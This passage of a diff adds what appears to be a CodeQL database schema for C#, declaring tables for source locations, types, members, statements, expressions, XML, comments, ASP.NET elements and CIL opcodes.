ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = 